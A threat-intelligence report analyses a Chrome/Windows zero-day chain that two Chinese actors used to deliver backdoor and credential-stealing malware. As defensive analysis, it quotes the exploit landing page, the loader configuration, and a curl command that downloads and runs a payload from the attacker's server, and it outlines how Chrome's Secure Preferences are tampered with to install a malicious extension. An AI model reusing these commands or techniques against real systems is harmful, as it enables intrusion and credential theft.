Mind the (Patch) Gap: Multiple Chinese Threat Actors Chain 0-day Exploits in Chrome & Windows

On September 1, 2026, Volexity’s Network Security Monitoring (NSM) service detected a spear-phishing campaign from a Chinese threat actor it tracks as UTA0560 targeting customers at multiple non-governmental organizations (NGOs). The emails contained a message encouraging the users to a click a link that led to the website of a US-based university. These links abused a reflected cross-site scripting (XSS) vulnerability on the website, redirecting recipients to threat-actor-controlled infrastructure hosting a multi-stage exploit chain that included a Google Chrome zero-day, CVE-2026-85046. Volexity analyzed its email telemetry and discovered that another Chinese threat actor it tracks as  JungleBamboo (also known as APT31/Violet Typhoon/TA412) was also exploiting the same vulnerability chain against a different set of targets using different infrastructure and post-exploitation malware.

CVE-2026-85046 was reported to the Chromium project by a private security researcher on August 4, 2026. A fix later entered the open-source Chromium codebase, on which Google Chrome and other Chromium-based browsers are built. However, at the time of the phishing operation, the fix had not reached a released version of Google Chrome. This created an unusual patch gap: The vulnerability was known and fixed upstream, making it an N-day at the Chromium source level, but there was no patch release for Google Chrome users. Therefore, the exploit was effectively a zero-day against Google Chrome.

The exploit first gains arbitrary read/write within the V8 sandbox through the Type confusion vulnerability (CVE-2026-85046), then combines a separate WebAssembly defect to escape the V8 sandbox (CVE-2026-87491). It then exploits a third vulnerability in the Windows kernel (CVE-2026-85880) to escape Chrome’s sandboxed renderer process and inject code into the Chrome browser process. From there, exploit-chain users can deploy a payload of their choice. Volexity observed two distinct clusters of activity using the exploit chain to deliver different payloads:

• UTA0560 downloaded and deployed the GRIMWEDGE JScript backdoor providing host reconnaissance, file and process management, command execution, and payload delivery capabilities.
• JungleBamboo deployed SUPERSTOMP, a loader that installed the LONGTALE credential-stealing Chrome extension.

This blog documents the shared exploitation chain, as well as the distinct post-exploitation malware deployed by each threat actor.

UTA0560 Targets NGOs with Financial Lures

Volexity’s NSM service detected phishing emails sent to multiple customers on September 1, 2026, from a known UTA0560 email account. The phishing lures matched previously unsuccessful phishing emails sent to Volexity customer organizations, which were detected by Volexity in March 2026. An example phishing email is shown below:

The email body contained a link to a legitimate website susceptible to a reflective XSS vulnerability which was abused by UTA0560 to redirect the visitor to the first stage in a multi-stage Chrome browser zero-day exploit chain.

Upon clicking the URL, the browser redirected to the following URL, which began the exploitation process:

hxxps://cloud.shinewrist[.]net/<removed>/Files1.html

The exploit abused the vulnerability CVE-2026-85046 in the Chrome browser, a type-confusion bug in the V8 JavaScript Engine. When the phishing URL is clicked by the user, a multi-stage exploitation chain occurs, exploiting both the Chrome browser and the Windows kernel to deploy and execute malware on the victim host. The vulnerability in the Windows kernel has been assigned CVE-2026-85880.

After clicking on the URL, the only behavior noticeable from the user perspective is an image displayed in the browser mimicking a donation form on a web page that is specific to the targeted organization.

This form exactly matches previous donation form lure themes used by UTA0560. The image is a decoy to distract the user while the Chrome browser executes malicious code contained within the exploit, downloading and executing malware to disk. A high-level execution chain is depicted below:

Chrome and Windows Exploit Chain

Both UTA0560 and JungleBamboo delivered the same multi-stage exploit chain, with byte-for-byte identical shellcode. This section details the chain as observed in the UTA0560 campaign; JungleBamboo hosted identical exploit components on their own infrastructure (proof.gitprogram[.]com and photos.msbenefit[.]com) but served a different final payload.

Exploit Landing Page (Files1.html)

The lure page Files1.html is the exploit landing page. This is the first stage in the exploit chain that executes a malicious JavaScript loader in the browser and displays the decoy donation form image to the user.

The malicious HTML is relatively small, loading threat-actor-hosted JavaScript from hxxps://cloud.shinewrist[.]net/<removed>/react.min.js and presenting the user with a decoy donation form image:

<!DOCTYPE html>
<html>
<script src="hxxps://cloud.shinewrist[.]net/<removed>/react.min.js"></script>
<head><meta charset="UTF-8"><title>img</title></head>
<body style="display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f0f0f0;">
<img src="./<REDACTED>DonationForm.PNG" alt="img" style="max-width:90%;max-height:90%;box-shadow:0 4px 12px rgba(0,0,0,0.2);border-radius:12px;">
</body>
</html>

Obfuscated JavaScript Loader (react.min.js)

The HTML script src tag from Files1.html links to an obfuscated JavaScript loader designed to gate the execution of the next stage of the exploit based on the User-Agent and operating system. Any system that is not Chrome running on Windows does not proceed to the next stage of the exploit. If the client browser passes the filtering process, a URL is constructed to proceed to the next stage. The JavaScript contains a configuration at the base of the file that is not obfuscated:

var CONFIG_URL = 'hxxps://cloud.shinewrist[.]net/<removed>/page.html?mode=payload';
vmT_f6baf0['CONFIG_URL'] = CONFIG_URL;
globalThis['CONFIG_URL'] = vmT_f6baf0['CONFIG_URL'];
var CONFIG_DAILY_LIMIT = ![];
vmT_f6baf0['CONFIG_DAILY_LIMIT'] = CONFIG_DAILY_LIMIT;
globalThis['CONFIG_DAILY_LIMIT'] = vmT_f6baf0['CONFIG_DAILY_LIMIT'];

The obfuscated loader assembles the exploit URL at runtime, rather than hardcoding it. It takes the base URL from an embedded configuration variable (CONFIG_URL), then appends the payload download path as a query parameter:

hxxps://cloud[.]shinewrist[.]net/<removed>/page[.]html?mode=payload&exeurl=hxxp://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe

The mode=payload parameter arms the exploit. Without it, the page takes no action, thus serving as a safety mechanism during the threat actor’s testing. The exeurl parameter tells the exploit which binary to download after achieving code execution. This separation means the exploit page itself contains no reference to the final payload. The URL is passed in from the loader, meaning the threat actor can change payloads by altering the destination passed into the exeurl parameter.

The loader injects this URL as the source of a hidden HTML iframe, appended to the lure page’s Document Object Model in the browser. The victim continues to see the decoy form image while the exploit runs.

Chrome Exploit (page.html)

The exploit delivery page is page.html , an HTML document that assembles and executes the Chrome V8 exploit entirely in memory. It is loaded inside the hidden iframe created by the loader. Dates observed in the script place development between August 27 and 29, 2026, only a few days before phishing emails were observed by Volexity:

// execution: post-LPE the instance confusion dies (Windows 2026-08-27:
[...]
// page is serving a pre-b20260828r exp.html (stale deployment).
[...]
// tprobe (round 14, b20260828t, tprobe.s): token-state oracle.
[...]
// driver-html.js --- page driver for the self-contained exp.html.
// bundle.js source is embedded inert in <script type="text/plain" id="bundle-src">;
// the worker is built from a Blob (bundle + worker-glue) so works too.
(function (global) {
"use strict";
var BUILD = "b20260829a"; // shown in the log header
var RETRY_KEY = "v8ctf_exp_attempt";

This page holds the exploit code inert across two <script type=”text/plain”> blocks, meaning the browser parses them as data rather than executable script. The script blocks are concatenated together and launched as a dedicated Web Worker thread. Running the exploit in a Worker, rather than on the main page thread, means a renderer crash from a failed exploitation attempt does not kill the visible tab or alert the victim. The exploit includes a retry mechanism that stores an attempt counter in sessionStorage and will re-launch the exploit up to five times on recoverable failures.

The page accepts 13 URL parameters, some of which are characteristic of a development harness:

Parameter	Value	Purpose
beacon	(not set)	Base URL for telemetry; if set, each exploitation phase fires a fetch to this URL so the operator can identify the last phase reached before a crash; not used in the delivered URL
dry	(not set)	Set to 1 for a dry run; executes the exploit logic without deploying shellcode payloads
exeurl	/<removed>/msgbox.exe	URL of the binary to download after exploitation; passed to the browser-process injection stub’s command line; defaults to msgbox.exe relative to the page if not set
force2	(not set)	Set to 1 to force execution of the p2 kernel LPE stage regardless of the p1 fingerprint result
forcepp	(not set)	Set to 1 to force execution of the pp browser-process injection stage regardless of whether the LPE succeeded
map	(not set)	Override the V8 heap MAP_WORD constant (an integer); when not set, the exploit derives this value at runtime via a memory leak, giving it resilience across Chrome 151.x point releases
mode	payload	Execution mode; defaults to probe (not implemented in this build, throws an error); must be set to payload for the exploit to run
p2step	(not set)	Breakpoint within the p2 kernel LPE; halts at a named sub-phase for debugging
retry	(not set)	Set to 0 to disable the automatic retry mechanism; defaults to enabled (up to five attempts on recoverable failures)
runpayload	(not set)	Set to 0 to skip the final payload download and execution; defaults to enabled
step	(not set)	Breakpoint within the pp injection stub; halts at a named sub-phase for debugging
stopAfter	(not set)	Halt exploitation at a named phase (e.g., after the type confusion but before the sandbox escape); used for debugging individual stages
worker	(not set)	Set to 0 to run the exploit on the main thread instead of in a Web Worker; defaults to Worker execution, which isolates renderer crashes from the visible tab

The exploit page carries three binary payloads embedded as Base64 strings within the JavaScript:

1. p1: Host reconnaissance and fingerprinting
2. p2: Windows kernel privilege escalation
3. pp: browser process injection and payload download

All three are pre-staged into executable memory before exploitation begins. They execute in a fixed order, each gated on the result of the previous stage.

p1: Host Reconnaissance

The p1 payload is a position-independent shellcode that reflectively loads an embedded Windows DLL. When invoked, it builds a comprehensive JSON profile of the host covering the following:

• OS version
• Process token inventory (privileges, integrity level, AppContainer status)
• CPUID features
• Hypervisor detection (distinguishing VMware, Hyper-V, KVM, and Xen by vendor string)

The DLL’s anti-analysis checks are passive. Debugger presence, sandbox detection, and hypervisor indicators are reported in the JSON but not acted on. The decision to proceed or abort is made by the calling JavaScript, not the DLL. The JavaScript consumes only three fields from the returned data to decide whether the Windows Kernel LPE is needed, based on which Windows build is running, but the full JSON profile is available to the threat actor for host assessment.

p2: Windows Kernel Local Privilege Escalation

The p2 payload is another position-independent shellcode reflectively loading a second embedded Windows DLL. The p2 DLL is a single-purpose Windows kernel exploit that grants privilege escalation to the calling process, which allows to escape Chrome’s sandboxed renderer process. It exploits CVE-2026-85880, a previously unreported vulnerability in RtlpCreateServerAcl.

This stage is conditional and only executes if the process is not already elevated and the Windows build falls within a specific target set (Win10 1809 through 22H2, Server 2022, Win11 21H2). All build versions above 22000 are rejected.

pp: Browser Process Injection

The third and final embedded payload is pp, another position-independent shellcode. It runs only after p2 succeeds, as it requires elevated privileges and it must open the Chrome browser process to perform process injection. This injection crosses the final Chrome V8 sandbox boundary, everything downstream runs in the browser process context outside of the sandbox and is indistinguishable from normal Chrome child-process activity, apart from the command line itself. The shellcode locates the browser process and calls the Windows API function CreateProcessA to execute a command that downloads and executes the next-stage loader from the C2 server. In the UTA0560 campaign, this command was the following:

cmd.exe /c curl -f -sS -o "%TEMP%\msgbox.exe" "hxxps://cloud[.]shinewrist[.]net/<removed>/msgbox[.]exe" && "%TEMP%\msgbox.exe“

JungleBamboo’s variant downloaded a different payload from their own infrastructure, but the injection mechanism was identical.

UTA0560 Post-Exploitation: GRIMWEDGE

After the shared exploit chain achieves code execution, JungleBamboo and UTA0560’s infection chain diverges. UTA0560 uses the exeurl parameter to download a custom loader chain leading to the GRIMWEDGE JScript backdoor.

GRIMWEDGE Loader (msgbox.exe)

In UTA0560’s chain, the next stage downloaded from the C2, msgbox.exe, is a dropper compiled on August 31, 2026, the day before the phishing emails were received. Its sole purpose is to extract two files from its PE resources:

• A legitimate Windows EXE file
• A malicious DLL used in a sideloading chain

UTA0560 updated msgbox.exe on September 2, 2026, recompiling it with an updated version of wsc.dll while leaving the dropper code and legitimate EXE unchanged. UTA0560 served both versions from the same URL on their infrastructure.

GRIMWEDGE Loader (wsc.dll)

The wsc.dll file is a dropper sideloaded via the legitimate binary contained in msgbox.exe. It establishes persistence, beacons to the C2 server, and loads the next-stage payload provided by the C2.

On execution, it establishes persistence by creating a scheduled task named “Windows Scheduled System” that re-runs the sideloading chain every five minutes:

The DLL beacons to hxxps://cloud[.]shinewrist[.]net/<removed>/%COMPUTERNAME%.txt, constructing a victim-specific URL using the victim device’s hostname. This per-host staging model allows the threat actor to serve targeted payloads to individual devices. During Volexity’s initial analysis of this stage, the server returned HTTP 404 for hostnames that had not been provisioned; running the loader for an extended period resulted in the next stage being deployed to Volexity’s sandbox. When a payload is received, the DLL writes it to %TEMP%\Temp.txt and executes it via msiexec /i.

UTA0560 updated wsc.dll on September 2, 2026. The updated version changes the scheduled task’s action from a passive retry (re-running msiexec on a cached file) to active re-execution of the full sideloading chain and adds a pre-check to avoid creating duplicate scheduled tasks on repeated runs. The C2 URL, download mechanism, and task name remained unchanged between versions.

GRIMWEDGE Loader (Temp.txt)

The retrieved MSI file is the next-stage payload (408 KB, Microsoft Installer file) delivered by wsc.dll’s per-host beacon. The file is a Windows Installer package built with Advanced Installer 14.5.2. The purpose of the MSI is to execute an obfuscated JScript contained within the MSI custom actions. The JScript creates an HTTP client and enters an infinite loop where it sends an HTTP POST request to hxxps://ocr[.]opusaccel[.]top with a tab-delimited body containing the victim’s domain, username, and any command output from the loop’s previous run. HTTP responses to POST requests are evaluated as JScript code.

GRIMWEDGE JScript Backdoor

Volexity acquired a JScript response from the C2. The returned JScript was a backdoor executing entirely in memory as an eval()’d string within the msiexec.exe process. Volexity tracks this malware as GRIMWEDGE.

The script is a simple backdoor consisting of less than 250 lines of code, supporting the following ten commands:

ID	Command	Capability
0	Info	Perform system reconnaissance collecting OS version, build, architecture, installed hotfixes, antivirus products, domain/user/computer name, IP and MAC addresses, drive letters, and installed software
1	Dir	Retrieve a directory listing with timestamps and file sizes
2	Mkdir	Create a directory
3	Del	Delete a file
4	Tasklist	List running processes with PID, owning user, and full command line
5	Taskkill	Terminate a process by PID
6	Type	Read a file (up to 5 MB)
7	Run	Execute a command with a hidden window
8	Upload (chunk)	Receive a Base64 chunk from the C2 and append to an in-memory buffer
9	Upload (commit)	Save the accumulated buffer to disk as the final file

The code has no built-in persistence, lateral movement, or exfiltration mechanism beyond the file-read and upload commands. The backdoor provides an initial foothold on a compromised host sufficient enough for UTA0560 to survey the host, retrieve files of interest, and deploy additional tooling via the Run and Upload commands.

The full infection chain from email to GRIMWEDGE is depicted below:

 

JungleBamboo Campaign

On September 1, 2026, Volexity observed the following email sent to an NSM customer’s work and personal email address:

While the phish may appear to be generic spam, throughout 2026, Volexity has observed JungleBamboo using generic themes for many of their phishing emails. Furthermore, it is uncommon for generic spam to be sent to someone’s work and personal address in the same message, as this would require more preparation than is typical for mass spam campaigns. Volexity frequently observes espionage-motivated threat actors performing dual targeting of work and personal addresses, and assesses with high confidence that this is a more effective method for ensuring targets engage with phishing emails.

The link in the email was to the following URL:

hxxps://photos.msbenefit[.]com/fb/w3z

At the time of analysis, this URL was unavailable. However, on September 2, 2026, the threat actor sent a second set of emails to a different NSM customer using a more targeted theme. An example is shown below:

This email contained the following link:

hxxps://proof.gitprogram[.]com/a4/j8

This URL hosted the same Chrome exploit chain described in the previous section, using byte-for-byte identical shellcode. However, JungleBamboo used this exploit chain to deliver a different payload. As with the UTA0560 campaign, the vulnerabilities abused by JungleBamboo were patched in the Chromium source, but the routine patch delay used by Chrome meant that they still existed in Chrome. This allowed JungleBamboo to take advantage of the patch disclosure window to produce exploit code and conduct their operations against targets using vulnerable versions of Chrome.

JungleBamboo Post-Exploitation: SUPERSTOMP and LONGTALE

Similar to UTA0560’s campaign, JungleBamboo’s activity involved exploiting CVE-2026-85046 and CVE-2026-85880 to inject code into the Chrome process and deliver malware. However, where UTA0560 used this access to deliver GRIMWEDGE via a custom loader, JungleBamboo delivered a Chrome extension loader that Volexity refers to as SUPERSTOMP.

SUPERSTOMP

SUPERSTOMP is a loader designed to download and install a Chrome extension from the following URL:

hxxps://xyz0102.gitprogram[.]com/a001

SUPERSTOMP uses Secure Preferences tampering to install a malicious Chrome extension. While this method is well known, recent changes to Chrome have hardened the attack surface. In November 2025, Chromium added per-Preference *_encrypted_hash values aimed at preventing tampering. In June 2026, Chromium added super_encrypted_hash, which provides an integrity check of the full set of Preferences. Despite these changes, SUPERSTOMP can add a malicious extension as follows:

1. Copying the existing Secure Preferences file
2. Removing the per-preference _encrypted_hash entries and super_encrypted_hash
3. Adding the malicious extension and enabling the required extension settings
4. Generating valid legacy Hash-based Message Authentication Code (HMAC) values for the modified preferences and recalculating super_mac
5. Replacing the original Secure Preferences file with the tampered one

When Chrome next starts, the encrypted authenticators are absent. Since legacy-MAC fallback remains permitted, Chrome validates the forged state using the attacker-generated legacy HMACs. Chrome then treats the profile as requiring migration and generates new encrypted hashes for the modified state, effectively authenticating the malicious extension under the newer integrity scheme. Chrome enables this legacy fallback method by default in its releases as of September 8, 2026; only compiling Chromium from source disables it. This technique was added to one of the most popular GitHub repositories relating to silent installation of Chrome extensions on August 6, 2026.

LONGTALE

SUPERSTOMP downloads and installs a malicious Chrome extension belonging to a malware family Volexity refers to as LONGTALE, which masquerades as a Google Gemini Chrome extension with an extension ID of ckiknalbeplpcpofpnabcnhjcegckfei. The table below details LONGTALE’s functionality:

Feature	Description
Keylogging and form capture	Records every keystroke, input field value, and pasted clipboard text across all browser tabs, with no suppression of sensitive fields.
Cookie and session theft	Steals all browser cookies via the Chrome extension API, plus localStorage/sessionStorage tokens, providing multiple independent paths to hijack authenticated sessions.
Keyword-triggered screenshots	Monitors page content for C2-supplied keywords using polling and MutationObservers; matching keywords trigger JPEG screenshots that are queued and exfiltrated to the attacker.
Bulk data exfiltration	Periodically sends collected keystrokes, cookies, storage data, navigation history, and session metadata to the C2 server at ~30-second intervals when active. On first run, this feature is set to be enabled.
Remote command and control	Accepts 14 remote commands. These commands primarily relate to configuring the previously mentioned functionality or running the functionality on a one-off basis. Command capabilities include on-demand cookie/storage/screenshot collection, keyword list updates, recording toggling, and arbitrary cross-origin HTTP requests from the victim’s browser context.

Volexity notes that LONGTALE lacks even a basic remote code execution command that would enable the threat actor to conduct additional post-exploitation activity on compromised devices. Volexity assesses with low confidence that the threat actor regarded this feature as unnecessary, as the extensive information-theft capabilities offered by LONGTALE were sufficient to achieve JungleBamboo’s credential theft and surveillance objectives.

Volexity notes that both domains used for JungleBamboo campaigns have DNS responses indicating use of Cloudflare Tunnels:

nslookup document.gitprogram[.]com
[...]
Non-authoritative answer:
document.gitprogram[.]com canonical name = d71bedcf-307a-4432-beec-ce943223d0e3.cfargotunnel[.]com.
Name: d71bedcf-307a-4432-beec-ce943223d0e3.cfargotunnel[.]com
Address: fd10:aec2:5dae::

Attribution

Volexity assesses with low confidence that the exploit chain may have been sold, or otherwise provided, to different end-users in China, hence the near-simultaneous campaigns conducted by separate threat actors using distinct post-exploitation malware. Volexity assesses with medium confidence that the short time window offered by the Chrome patch delay necessitated that these threat actors reuse the core exploit code without modification. Furthermore, the payloads used by each threat actor were compiled using different toolsets, suggesting entirely different development environments preferred by each malware developer.

UTA0560

Volexity attributes UTA0560’s activity with high confidence to the same threat actor behind the campaigns previously observed in March 2026. This assessment is based on three independent indicators linking this operation to activity previously attributed to UTA0560:

1. Shared phishing sender: The email address  ircribbin77[@]hotmail[.]com  and sender name “Irma Cribbin” was used in the March 2026 donation-themed phishing, targeting the same sector with the same pretext.
2. Shared hosting infrastructure: The IP address 206[.]166[.]251[.]164, which hosts cloud[.]shinewrist[.]net in this operation, served the PowerShell staging payloads in March 2026.
3. Shared C2 staging tradecraft: The per-host beacon pattern used by wsc.dll (/<removed>/%COMPUTERNAME%.txt) is operationally analogous to the PowerShell staging pattern in March 2026 (/%COMPUTERNAME%-%USERNAME%.ps1), and both were served from 206[.]166[.]251[.]164.

JungleBamboo

The domain registration pattern used for gitprogram[.]com and msbenefit[.]com is consistent with known JungleBamboo registration patterns. While both UTA0560 and JungleBamboo began using the same exploitation chain on the same date, the eventual payloads are completely different.

Conclusion

This blog post details the end-to-end operations of two Chinese threat actors, UTA0560 and JungleBamboo, who were both observed exploiting the same Chrome zero-day chain to deploy distinct espionage tools. Volexity assesses with medium confidence that the exploit chain developer reverse-engineered bug fixes in the Chromium source code.

As large language models become more popular and effective for rapid vulnerability research and exploit development, Volexity assesses with high confidence that patch-gap vulnerabilities present an even greater risk, as they create an additional time window for threat actors to conduct exploitation campaigns.

JungleBamboo’s choice of LONGTALE, a Google Gemini Chrome extension, as a final payload for the chain is remarkable, as it does not allow JungleBamboo arbitrary command execution. Rather, it primarily serves to steal credentials that JungleBamboo can then reuse. This focus on credential theft apparent in many recent attacks observed by Volexity, where credentials are often enough for threat actors to achieve their objectives. In Volexity’s experience, malicious Chrome extensions are often more difficult to detect than other file types, such as executables. Volexity assesses with medium confidence this was a factor in JungleBamboo’s choice of payload type.

Indicators associated with these campaigns can be found here.

Acknowledgements

Volexity would like to thank its customers for working closely together and permitting public sharing of the investigation details. Volexity would also like to acknowledge Proofpoint for their collaboration in protecting Volexity’s mutual and distinct customers from the threats discussed in this post; Proofpoint’s blog post on related activity is available here. Finally, Volexity would like to thank Microsoft for their assistance in investigating the LPE vulnerability used in this attack chain, for quickly remediating its root cause, and for helping to distinguish the different threat clusters leveraging this exploit chain.

Investigative Assistance

If any organization or individual believes they may have been targeted by a similar attack, please reach out to Volexity via our contact form. We would be glad to assess any potential targeting and assist in determining if such an attack may have succeeded.

---

Volexity’s Threat Intelligence research, such as the content from this blog, is published to customers via its Threat Intelligence Service. The activity described in this blog post was shared with Volexity Threat Intelligence customers in TIB-20260908 and TIB-20260908B. Related indicators were available to customers beginning on September 1, 2026.

If you are interested in learning more about Volexity’s services, including Threat Intelligence, Network Security Monitoring and Incident Response, or our leading memory forensics solutions, Volexity Surge Collect Pro for memory acquisition and Volexity Volcano for memory analysis, please do not hesitate to contact us.

---

Appendix: Indicators of Compromise

File Indicators

Name	Actor	Type	SHA256
Files1.html	UTA0560	HTML	d17053557bb90298f7b115432b4820a248fdbe678bca31721529b1f51a82343b
react.min.js	UTA0560	JavaScript	337b48c1cd6dd6e7b8073327082a60e149517fa084ba17b180e041fffa3b130d
page.html	Shared	HTML	7a52ff23949edee8faa61ce0def6dbca8b7e5943c54d23376cc190762ea3985c
p1 data	Shared	Binary	cd0c21f9b32b7feeda1787fccab622dec60ecdf84c0538c08bde3946856b0fa0
p1 DLL	Shared	Win64 DLL	b7b0cd6539464ab39c6526e499f86d611faa21c5af945535ebaf187cec543af1
p2 data	Shared	Binary	5995f42a828606705a7339d58a665c229936e81c4e539cdfa115eb46a2eb53d6
p2 DLL	Shared	Win64 DLL	51462a23ac25e1bd0e49b7cae7f3a71f8d2201e22d45175b587e4740b49863cc
msgbox.exe (GRIMWEDGE)	UTA0560	Win32 EXE	69c1603f3f9015beb0097d0a3bb0f17400c314e2eae65a7eceacd3b93ea570dc
wsc.dll	UTA0560	Win32 DLL	3b71d721c39fad92a44ddd764bbb34afeae44a5db886d0a4827a399a5fbd367f
Temp.txt	UTA0560	MSI	56eda0ac82e06ee609b034306025e67df161c5877399c305c8eaea136e80c951
GRIMWEDGE backdoor	UTA0560	JavaScript	59dc108e22cb856c228bbf8a1ab955fb66f0844a07fe10fa0d9fc3823d2cbbcb
msgbox.exe (SUPERSTOMP)	JungleBamboo	Win64 EXE	e2a59432ce2b0d83ded936374a11fca3d3defaf4aab90eb37fca58683eae32c0
a001 (LONGTALE)	JungleBamboo	Chrome Extension	5eb5645511b00e4f4d73125654eeb3a3930fcf09c65685dc7f03f725331492e3

Network Indicators

Type	Indicator	Actor	Description
Domain	cloud.shinewrist[.]net	UTA0560	C2 and exploit hosting
Domain	ocr[.]opusaccel[.]top	UTA0560	GRIMWEDGE backdoor C2
Domain	msbenefit[.]com	JungleBamboo	Phishing infrastructure
Domain	gitprogram[.]com	JungleBamboo	Phishing and C2 infrastructure
IP	206[.]166[.]251[.]164	UTA0560	Hosts cloud.shinewrist[.]net
URL	hxxps://photos.msbenefit[.]com/fa/t3	JungleBamboo	Phishing URL (September 1)
URL	hxxps://proof.gitprogram[.]com/a4/j8	JungleBamboo	Phishing URL (September 2)
URL	hxxps://xyz0102.gitprogram[.]com/a001	JungleBamboo	LONGTALE extension download
Email	ircribbin77[@]hotmail[.]com	UTA0560	Phishing sender